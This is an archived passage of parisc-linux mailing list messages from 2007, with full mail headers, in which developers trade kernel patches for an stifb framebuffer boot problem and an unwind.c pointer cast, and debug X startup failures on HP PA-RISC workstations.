	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RoGVc3JieWU6YLeUfHVzs+w5U3U4Nw/M
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24744

Hi Kurt,

On Sunday 29 July 2007, kurtm22@netscape.net wrote:
> I commented out the fb_memset call 
> in stifb.c and your suspicions were correct!? 
> Not only did the kernel boot but I got the full
> GUI login screen.?? 

Great.

> When I upgraded from Woody to Sarge, I also had no GUI so perhaps
> this problem was in Sarge too.

Probably.

> Do you have any tests you would like me
> to perform on this machine - it's just a hobby
> machine for me. 

Yes, could you please try this patch ?
(please modify by hand, I just copy&pasted it here)

diff --git a/drivers/video/stifb.c b/drivers/video/stifb.c
@@ -512,7 +512,7 @@ rattlerSetupPlanes(struct stifb_info *fb)

-       fb_memset((void*)fb->info.fix.smem_start, 0xff,
+       memset(fb->info.screen_base, 0xff,
                fb->info.var.yres*fb->info.fix.line_length);

Is there any difference if you just comment out the fb_memset() call, or if you modify it like I showed in the patch above?
I'm wondering, if we should just delete the whole fb_memset() call.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 18:43:46 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <200707291843.47136.deller__9870.05195715955$1416624422$gmane$org@gmx.de>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com>
	<8C9A005CA9EA817-9F4-ADB9@FWM-D07.sysops.aol.com>
	<200707291734.05932.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624422 24866 80.91.229.3 (22 Nov 2014 02:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:02 +0000 (UTC)
Cc: kurtm22@netscape.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 16:44:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 29 Jul 2007 18:44:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DB0D7DD1E;
	Sun, 29 Jul 2007 10:43:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14594-10; Sun, 29 Jul 2007 10:43:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20B067DD20;
	Sun, 29 Jul 2007 10:43:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1851D7DD19
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 10:43:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14594-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 10:43:51 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 99B9A7DD07
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 10:43:50 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 16:43:48 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp046) with SMTP; 29 Jul 2007 18:43:48 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200707291734.05932.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5vqUczJnbmw6bK2HZzdLMrlHUzc4ctH/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24745

On Sunday 29 July 2007, Helge Deller wrote:
> Yes, could you please try this patch ?

Could you please try the attached patch instead.
This should be correct.

Thanks,
Helge

diff --git a/drivers/video/stifb.c b/drivers/video/stifb.c
index c97709e..6e5f138 100644
--- a/drivers/video/stifb.c
+++ b/drivers/video/stifb.c
@@ -505,16 +505,24 @@ ngleSetupAttrPlanes(struct stifb_info *fb, int BufferNumber)
 static void
 rattlerSetupPlanes(struct stifb_info *fb)
 {
+	int saved_id, y;
+
+ 	/* Write RAMDAC pixel read mask register so all overlay
+	 * planes are display-enabled.  (CRX24 uses Bt462 pixel
+	 * read mask register for overlay planes, not image planes).
+	 */
 	CRX24_SETUP_RAMDAC(fb);
     
-	/* replacement for: SETUP_FB(fb, CRX24_OVERLAY_PLANES); */
-	WRITE_WORD(0x83000300, fb, REG_14);
-	SETUP_HW(fb);
-	WRITE_BYTE(1, fb, REG_16b1);
+	/* change fb->id temporarily to fool SETUP_FB() */
+	saved_id = fb->id;
+	fb->id = CRX24_OVERLAY_PLANES;
+	SETUP_FB(fb);
+	fb->id = saved_id;
+
+	for (y = 0; y < fb->info.var.yres; ++y)
+		memset(fb->info.screen_base + y * fb->info.fix.line_length,
+			0xff, fb->info.var.xres * fb->info.var.bits_per_pixel/8);
 
-	fb_memset((void*)fb->info.fix.smem_start, 0xff,
-		fb->info.var.yres*fb->info.fix.line_length);
-    
 	CRX24_SET_OVLY_MASK(fb);
 	SETUP_FB(fb);
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix wrong cast in unwind_special()
Date: Sun, 29 Jul 2007 19:01:46 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <200707291901.46374.deller__35804.4581175365$1416624422$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624422 24871 80.91.229.3 (22 Nov 2014 02:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 17:02:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 29 Jul 2007 19:02:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A46A7DD25;
	Sun, 29 Jul 2007 11:01:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14982-07; Sun, 29 Jul 2007 11:01:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A6A67DD27;
	Sun, 29 Jul 2007 11:01:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AC997DD21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 11:01:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14982-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 11:01:49 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id BB5467DD1E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 11:01:48 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 17:01:47 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp040) with SMTP; 29 Jul 2007 19:01:47 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aKTHLg56TlIuYLeQeGhrQUJGU2poZVmA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24746

fix wrong cast in unwind_special():
arch/parisc/kernel/unwind.c: In function `unwind_special':
arch/parisc/kernel/unwind.c:213: warning: initialization makes pointer from integer without a cast

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index cf780cb..395433a 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -210,7 +210,7 @@ static int unwind_init(void)
 static int unwind_special(struct unwind_frame_info *info, unsigned long pc, int frame_size)
 {
 	void handle_interruption(int, struct pt_regs *);
-	static unsigned long *hi = (unsigned long)&handle_interruption;
+	static unsigned long *hi = (unsigned long *)&handle_interruption;
 
 	if (pc == get_func_addr(hi)) {
 		struct pt_regs *regs = (struct pt_regs *)(info->sp - frame_size - PT_SZ_ALGN);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 13:17:35 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200707291717.l6THHZI5027278__32286.1405824826$1416624423$gmane$org@hiauly1.hia.nrc.ca>
References: <200707291843.47136.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624423 24873 80.91.229.3 (22 Nov 2014 02:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 kurtm22@netscape.net
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 17:17:37 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx063) with SMTP; 29 Jul 2007 19:17:37 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6THHZOF027280;
	Sun, 29 Jul 2007 13:17:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6THHZI5027278;
	Sun, 29 Jul 2007 13:17:35 -0400 (EDT)
In-Reply-To: <200707291843.47136.deller@gmx.de> from "Helge Deller" at Jul 29, 2007 06:43:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hfOZciljRkkfWauPfGRqCEtmdWkvKBNN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24747

> On Sunday 29 July 2007, Helge Deller wrote:
> > Yes, could you please try this patch ?
> 
> Could you please try the attached patch instead.
> This should be correct.

While we are on frame buffer issues, I'm still having troubles
with VisEG in c3750.  While the problems have changed with time,
X fails to start using either gdb or kdm.  It will start using
startx.

I had to disable AIGLX xorg.conf.  After doing this, there are no
errors in the gdb/kdm logs.  The only issue I see is the following
in the Xorg.0.log:

(II) Setting vga for screen 0.
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1280x1024" test failed
...

There seems to be an issue with mode "1280x1024".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 20:03:12 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <200707292003.12664.deller__10662.6953850084$1416624423$gmane$org@gmx.de>
References: <200707291717.l6THHZI5027278@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624423 24875 80.91.229.3 (22 Nov 2014 02:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 18:03:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 29 Jul 2007 20:03:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6537DD33;
	Sun, 29 Jul 2007 12:03:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15552-08; Sun, 29 Jul 2007 12:03:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 823EF7DD35;
	Sun, 29 Jul 2007 12:03:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5031A7DD31
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 12:03:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15629-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 12:03:16 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 158867DD2C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 12:03:15 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 18:03:14 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp028) with SMTP; 29 Jul 2007 20:03:14 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200707291717.l6THHZI5027278@hiauly1.hia.nrc.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PKLJNi9OZCEWb7GPamwhRQJwIGhpZQbl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24748

On Sunday 29 July 2007, John David Anglin wrote:
> > On Sunday 29 July 2007, Helge Deller wrote:
> > > Yes, could you please try this patch ?
> > 
> > Could you please try the attached patch instead.
> > This should be correct.
> 
> While we are on frame buffer issues, I'm still having troubles
> with VisEG in c3750.  While the problems have changed with time,
> X fails to start using either gdb or kdm.  It will start using
> startx.
> 
> I had to disable AIGLX xorg.conf.  After doing this, there are no
> errors in the gdb/kdm logs.  The only issue I see is the following
> in the Xorg.0.log:
> 
> (II) Setting vga for screen 0.
> (**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
> (==) FBDEV(0): Default visual is PseudoColor
> (==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
> (II) FBDEV(0): hardware: stifb (video memory: 2048kB)
> (II) FBDEV(0): checking modes against framebuffer device...
> (II) FBDEV(0):  mode "1280x1024" test failed
> ...
> 
> There seems to be an issue with mode "1280x1024".

Are you running your console in 1280x1024 as well, e.g. what does "fbset -i" reports ?
What makes me wonder is, that if "startx" works, what is the difference to "gdb/kdm" in respect to Xorg screen confifuration ??

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 14:29:22 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200707291829.l6TITMPi028794__46329.4052090079$1416624423$gmane$org@hiauly1.hia.nrc.ca>
References: <200707292003.12664.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624423 24878 80.91.229.3 (22 Nov 2014 02:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 18:41:09 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx065) with SMTP; 29 Jul 2007 20:41:09 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6TIf7XQ029093;
	Sun, 29 Jul 2007 14:41:08 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6TITMPi028794;
	Sun, 29 Jul 2007 14:29:22 -0400 (EDT)
In-Reply-To: <200707292003.12664.deller@gmx.de> from "Helge Deller" at Jul 29, 2007 08:03:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ILvEC3JObHIzb63NNjQ0uLsqJihyahCN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24749

> > There seems to be an issue with mode "1280x1024".
> 
> Are you running your console in 1280x1024 as well, e.g. what does "fbset -i" reports ?

Believe so.

mode "1280x1024"
    geometry 1280 1024 1280 1024 8
    timings 0 0 0 0 0 0 0
    rgba 8/0,8/0,8/0,0/0
endmode

Frame buffer device information:
    Name        : stifb
    Address     : 0xf9000000
    Size        : 2097152
    Type        : PACKED PIXELS
    Visual      : PSEUDOCOLOR
    XPanStep    : 0
    YPanStep    : 0
    YWrapStep   : 0
    LineLength  : 2048
    MMIO Address: 0xf8100000
    MMIO Size   : 4194304
    Accelerator : No

> What makes me wonder is, that if "startx" works, what is the difference to "gdb/kdm" in respect to Xorg screen confifuration ??

I looked at the gdm config and didn't see anything obvious.  It's the
default config.  In any case, gdm ends up running XKeepsCrashing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
